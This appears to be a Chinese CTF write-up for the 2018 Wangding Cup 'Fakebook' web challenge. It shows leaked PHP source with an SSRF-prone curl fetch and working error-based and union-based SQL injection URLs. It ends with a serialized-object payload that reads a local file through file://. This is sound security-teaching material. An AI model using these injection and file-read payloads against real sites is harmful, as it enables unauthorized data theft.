[网鼎杯 2018]Fakebook

robots.txt泄露源码

//user.php.bak

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

猜测可能考察ssrf，关于代码中一些函数的表示

接下来就找可以输入url的地方，登录后，发现存在sql注入

http://92e8e109-25de-472b-bef6-c0c1a8cdeb1a.node3.buuoj.cn/view.php?no=1%20and%20updatexml(1,concat(%27~%27,(select/**/database()),%27~%27),1)%23

这里我查了一下他的相关数据。

username:qqq
passwd:4ce9792f2871988864761ef032ce09646333c81667d5d3360a82d7c47411c0b46846437ac5e304880fb5d7510d0af3d7af5a666a1f0459df1e04d1a8683bbe13
data: O:8:"UserInfo":3:{s:4:"name";s:3:"qqq";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}

http://92e8e109-25de-472b-bef6-c0c1a8cdeb1a.node3.buuoj.cn/view.php?no=1%20and%20updatexml(1,concat(%27~%27,substr((select%20passwd%20from%20users),110,32),%27~%27),1)%23

这里发现了data，从格式可以看出这是一段序列化代码，我们把它还原成我们想要信息的序列化代码

class UserInfo
{
    public $name = "1";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
	
}

$a = new UserInfo();
echo serialize($a);
?>

最终payload

http://d3eb0593-a669-4aa0-bf04-23addb2050ea.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%223%22;s:3:%22age%22;i:2;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27%20from%20users